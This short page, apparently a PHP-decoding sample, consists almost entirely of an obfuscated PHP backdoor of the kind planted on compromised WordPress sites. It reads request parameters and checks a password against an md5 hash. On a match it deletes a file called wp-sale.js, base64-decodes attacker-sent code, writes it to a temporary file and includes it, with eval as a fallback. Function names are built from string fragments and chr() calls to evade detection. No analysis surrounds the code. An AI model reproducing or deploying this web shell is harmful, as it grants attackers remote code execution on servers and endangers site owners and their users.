PHP Decode

<?php error_reporting(0); 			$swypx = array_merge($_GET, $_COOKIE, $_POST); 		$ghywq = 'in_'.'ar'.'ray'; 		if($swypx['m']=='1') die('7fb76e60f855b1d6e40bdf3be97b29ae'); 		if(md5($swypx['a65dd'])==='7fb76e60f855b1d6e40bdf3be97b29ae') yvjvl($swypx); 		 function yvjvl($eysyd){ 			$bbjiy ='fi'.'le_'.'exi'.'sts'; 			$lpgfp ='f' .'op' .'en'; 			$bsfpp = 'f'.'cl'.'ose'; 			$ztsss = 'u'.'nl'.'ink'; 				if($bbjiy('./wp-sale.js')){@$ztsss('./wp-sale.js');} 			$yurtf = 't'.'mpf'.'ile'; 			$ieykp = 'fw'.'rite'; 		$pqnju = 'fs'.'eek'; 			$stkzt = 'ba'.'se'.chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).'o'. chr(100) . chr(101); 			$ghywq = 'str'.'ea'.'m_'.'get'.'_m'.'eta'.'_'.'data'; 			 			$btovj = $yurtf(); 			 	if(fwrite($btovj, chr(60).chr(63).chr(112).chr(104).chr(112).chr(32). $stkzt($eysyd['af5d4']))!=false){ 				include($ghywq($btovj)['uri']); 				$bsfpp($btovj); 			} else { 				@eval($stkzt($eysyd['af5d4'])); 			} 		} 		 		 	?>